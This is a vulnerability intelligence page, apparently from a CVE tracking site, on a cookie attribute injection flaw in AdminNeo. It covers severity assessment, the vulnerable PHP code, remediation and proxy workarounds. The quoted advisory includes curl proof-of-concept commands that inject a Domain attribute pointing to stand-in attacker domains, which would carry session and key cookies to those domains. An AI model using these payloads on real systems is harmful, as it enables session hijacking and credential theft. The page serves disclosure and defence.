AdminNeo CVE-2026-96631
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessGain header-influencing position via proxy/MITM
-
DeliverySend request injecting cookie attributes in X-Forwarded-Prefix
-
ExploitUnescaped REQUEST_URI widens Set-Cookie path/Domain
-
ExecutionVictim browser leaks neo_sid and neo_key to attacker domain
-
ImpactHijack session and decrypt stored DB credentials
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
|
| Exploitation Conditions | Requires that the attacker can control the X-Forwarded-Prefix request header reaching AdminNeo - concretely: a fronting reverse proxy (Traefik PathPrefixStrip, nginx, or HAProxy) configured to forward the client-supplied header (e.g. fastcgi_param using $http_x_forwarded_prefix) rather than a static value, OR an attacker-controlled upstream proxy, OR a man-in-the-middle position. The injected payload uses a semicolon to append cookie directives (Domain, Path, Secure, SameSite). An authenticated victim must subsequently make a request so the tainted Set-Cookie headers are issued and the browser transmits neo_sid/neo_key to the attacker's domain (UI:R). Limiting factors: deployments where the proxy sets X-Forwarded-Prefix to a static trusted value are not exploitable; only AdminNeo 4.6.0 through 5.5.0 are affected (fixed in 5.5.1); and the attacker gains full value only against a logged-in user with stored database credentials. |
| Impact | Signals are mixed and point to a real but conditional, non-emergency issue. The supplied CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N) yields 8.2 (High) driven by network reach, no authentication, scope change (cookies cross from AdminNeo's origin into an attacker-controlled domain) and High confidentiality impact (theft of neo_sid session and neo_key credential-encryption cookies). However, that AC:L overstates ease: the description is explicit that exploitation requires the attacker to influence the X-Forwarded-Prefix header - via a reverse proxy that forwards the client-supplied header, an attacker-controlled upstream proxy, or a man-in-the-middle position - plus victim interaction (UI:R), so real-world triggering depends on deployment topology rather than being universally reachable (I independently assess AC:H for this reason). No EPSS score and no KEV listing are present in the input, so there is no evidence of mass or active exploitation; the vuln.today Decision label is 'this_week' (prioritize for patching this week), not act_now or emergency. The advisory does contain a concrete proof-of-concept (curl commands demonstrating injection of Domain=.evil.com), so exploitability is demonstrated even though no weaponized campaign is reported. Net: a legitimately High-severity flaw whose practical risk is gated by whether the fronting proxy passes the client X-Forwarded-Prefix header - high priority where that condition holds, lower where proxies set the prefix statically. |
| Exploit ScenarioDerived | AdminNeo is deployed behind a reverse proxy (Traefik/nginx/HAProxy) configured to forward the client-supplied X-Forwarded-Prefix header. An attacker sends a request with a header such as 'X-Forwarded-Prefix: /adminneo; Domain=.evil.com', which is concatenated into REQUEST_URI and interpolated unescaped into the path= attribute of every Set-Cookie header, widening cookie scope to the attacker's domain; the advisory includes working curl PoC commands demonstrating this. When the authenticated victim's browser then sends neo_sid and neo_key to the attacker, the attacker hijacks the session and decrypts stored database credentials. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Oct 30, 2026
Cookie attribute injection in AdminNeo 4.6.0 through 5.5.0 lets an attacker who can influence the X-Forwarded-Prefix request header append arbitrary Domain, Path, Secure and SameSite directives to every Set-Cookie header AdminNeo emits, re-scoping the neo_sid session ID and the neo_key database-password encryption key to an attacker-controlled domain. Exploitation is conditional: the deployment must be one where a fronting reverse proxy (Traefik PathPrefixStrip, nginx or HAProxy) forwards the client-supplied header instead of a static trusted value, or the attacker must sit in an upstream-proxy or man-in-the-middle position, and a logged-in victim must subsequently issue requests so the tainted cookies reach the attacker (assessed CVSS 8.2, AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N). Public proof-of-concept curl request examples are included in the vendor advisory but have not been independently verified as working exploit code, and there is no CISA KEV entry; the vendor-released patch is version 5.5.1, referenced by the vuln.today decision label 'this_week'.
RemediationAI
Upgrade AdminNeo to 5.5.1 or later, which is the vendor-released patch containing commit aa6f2544a8a65cf5e8317f1a902f74181e136d64 and the new cookie_path() encoding of ';' and ',' in the cookie path; run composer require adminneo-org/adminneo:^5.5.1 and re-deploy the shipped admin/ directory, and refer to https://github.com/adminneo-org/adminneo/security/advisories/GHSA-79wv-8rh2-9vp2 for the authoritative guidance. If the upgrade must be staged, the vendor-supported workaround is to stop forwarding the client header and have the proxy set a static, trusted value - for nginx use fastcgi_param HTTP_X_FORWARDED_PREFIX /adminneo instead of $http_x_forwarded_prefix, and for Traefik use a stripPrefix middleware rather than passing through the client header; the trade-off is that a hardcoded prefix no longer adapts to multiple or dynamically assigned sub-paths, so every distinct deployment path must be configured separately, and any path that still forwards the header remains exploitable. Because the patch encodes output but does not revoke cookies that were already issued with an attacker-chosen Domain, treat previously served instances as potentially compromised: terminate existing AdminNeo sessions and re-key or rotate the stored database credentials that neo_key protects.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in composer
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
AdminNeo is a PHP/Composer database administration front end (package composer/adminneo-org/adminneo) derived from Adminer, and the flaw class is improper input validation (CWE-20) escalating to HTTP header/attribute injection (CWE-113). Two code paths in the shipped source create the defect: bootstrap.inc.php concatenates the raw $_SERVER['HTTP_X_FORWARDED_PREFIX'] value onto $_SERVER['REQUEST_URI'] without validating metacharacters, and functions.inc.php builds the Set-Cookie header by hand with header("Set-Cookie: ...") instead of setcookie()/setrawcookie(), interpolating that tainted REQUEST_URI directly into the path= attribute. Because semicolons delimit cookie attributes under RFC 6265 and were neither stripped nor percent-encoded, a value such as '/adminneo; Domain=.evil.com' turns into a second, browser-parsed Domain directive, and the same tainted REQUEST_URI is passed to session_set_cookie_params() so the PHP-managed session cookie inherits the injection. The X-Forwarded-Prefix header exists specifically to support sub-path reverse-proxy deployments, which is why the exposure is concentrated in exactly those topologies where proxies frequently forward the client value (e.g. an nginx fastcgi_param bound to $http_x_forwarded_prefix). The upstream fix in commit aa6f2544a8a65cf5e8317f1a902f74181e136d64 introduces a cookie_path() helper that strips query strings and percent-encodes ';' as %3B and ',' as %2C before the path is used, and routes both the manual Set-Cookie construction and session_set_cookie_params() through it.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
AC:H because exploitation needs a proxy forwarding the client header or MITM position; PR:N and UI:R as no auth but victim request required; S:C and C:H for cross-domain theft of session/key cookies.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
Summary
AdminNeo versions 4.6.0 through at least 5.5.0 are vulnerable to cookie attribute injection via the X-Forwarded-Prefix HTTP header. An attacker who can influence this header (e.g., through a reverse proxy that forwards it from clients, an attacker-controlled upstream proxy, or a man-in-the-middle position) can inject arbitrary cookie attributes including Domain, Path, Secure, and SameSite into all Set-Cookie response headers emitted by AdminNeo.
This allows an attacker to expand the cookie scope to an attacker-controlled domain (e.g., Domain=.evil.com), causing the victim's browser to send AdminNeo's neo_sid (session ID) and neo_key (database password encryption key) cookies to the attacker's server on subsequent requests.
Originally reported by @retkoussa in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-c533-9qwm-8w5h
Vulnerable Code
Root cause 1 - Unsanitized header prepended to REQUEST_URI (admin/include/bootstrap.inc.php, lines 50-52):
if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
$_SERVER["REQUEST_URI"] = $_SERVER["HTTP_X_FORWARDED_PREFIX"] . $_SERVER["REQUEST_URI"];
}The client-supplied X-Forwarded-Prefix header is concatenated into REQUEST_URI with no validation or sanitization of special characters (specifically semicolons, which delimit cookie attributes).
Root cause 2 - Manual Set-Cookie header construction without escaping (admin/include/functions.inc.php, lines 416-424):
function cookie(string $name, string $value, int $lifetime = 2592000): void
{
header("Set-Cookie: $name=" . rawurlencode($value)
. ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "")
. "; path=" . preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"])
. (HTTPS ? "; secure" : "")
. "; HttpOnly; SameSite=lax",
false);
}The tainted REQUEST_URI is interpolated directly into the path= attribute of the Set-Cookie header. Since semicolons are not stripped or escaped, any ;-separated directives injected via X-Forwarded-Prefix become valid cookie attributes parsed by the browser.
Root cause 3 - Session cookie also tainted (admin/include/bootstrap.inc.php, line 61):
session_set_cookie_params(0, preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"]), "", HTTPS, true);The PHP session cookie (neo_sid) path is similarly derived from the tainted REQUEST_URI, extending the same vulnerability to the session cookie set by PHP itself.
Impact
- Session hijacking: The
neo_sidsession cookie is sent to the attacker's domain, allowing full session takeover. - Credential theft: The
neo_keycookie contains the key used to encrypt/decrypt database passwords stored in the session. With this key, an attacker can decrypt saved database credentials. - Session fixation: An attacker can inject arbitrary
Path,SameSite, andSecureattributes, manipulating cookie behavior. - Wide applicability: The
X-Forwarded-Prefixheader was specifically added to support reverse proxy deployments (TraefikPathPrefixStrip, nginx, HAProxy). These are the exact environments where this header is forwarded from clients, making the vulnerability relevant in the deployments it was designed for.
Affected Cookies
Proof of Concept
|Cookie|Content|Risk| |neo_sid|PHP session ID|Session hijacking| |neo_key|Encryption key for stored DB passwords|Credential theft| |neo_settings|User preferences|Low (information disclosure)|
# Normal request with clean Set-Cookie headerss:
curl -sI http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo_key=...; path=/adminneo/index.php; HttpOnly; SameSite=lax
# Malicious request - inject Domain=.evil.com:
curl -sI -H "X-Forwarded-Prefix: /adminneo; Domain=.evil.com" \
http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo_key=...; path=/adminneo; Domain=.evil.com/adminneo/index.php; HttpOnly; SameSite=lax
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^ INJECTED
# Full attribute override - inject Domain + SameSite=None:
curl -sI -H "X-Forwarded-Prefix: /; Path=/; Domain=.attacker.com; SameSite=None" \
http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response Set-Cookie: neo_key=...; path=/; Path=/; Domain=.attacker.com; SameSite=None/adminneo/index.php; ...Recommended Fix
- Sanitize
X-Forwarded-Prefix: Strip or reject semicolons, newlines, and other HTTP header metacharacters from theX-Forwarded-Prefixvalue before using it. - Use
setcookie()/setrawcookie(): Replace the manualheader("Set-Cookie: ...")construction incookie()with PHP's built-insetcookie()function, which properly escapes attribute values. - Validate
REQUEST_URIbefore cookie use: After any prefix manipulation, strip characters that are invalid in a cookiepathattribute (;,,, whitespace per RFC 6265).
// Example fix for bootstrap.inc.php:
if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
$prefix = preg_replace('~[;\r\n].*~', '', $_SERVER["HTTP_X_FORWARDED_PREFIX"]);
$_SERVER["REQUEST_URI"] = $prefix . $_SERVER["REQUEST_URI"];
}Server Based Workaround Via Config
Configure the reverse proxy to set X-Forwarded-Prefix to a static, trusted value rather than forwarding the client-supplied header:
# nginx - secure configuration:
fastcgi_param HTTP_X_FORWARDED_PREFIX /adminneo;
# static value, not $http_x_forwarded_prefix# Traefik, use middleware instead of client headers:
middlewares:
strip-prefix:
stripPrefix:
prefixes:
- "/adminneo"Articles & Coverage 2
Technical POC Analysis
CWE-20 (Improper Input Validation), with a secondary CWE-113 (CRLF in HTTP headers) tag in the advisory.
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
AdminNeo versions 4.6.0 through 5.5.0 contain a cookie attribute injection flaw that could allow an attacker to redirect session cookies to a domain they control, potentially compromising database credentials and administrative access. This affects organizations using AdminNeo behind certain reverse proxy configurations where client-supplied headers are trusted. Leadership should prioritize patching to prevent unauthorized access to sensitive systems.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Affected Products (CPE)GitHub Advisory
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
GHSA-79wv-8rh2-9vp2
NVD
CVE.org
Exploit-DB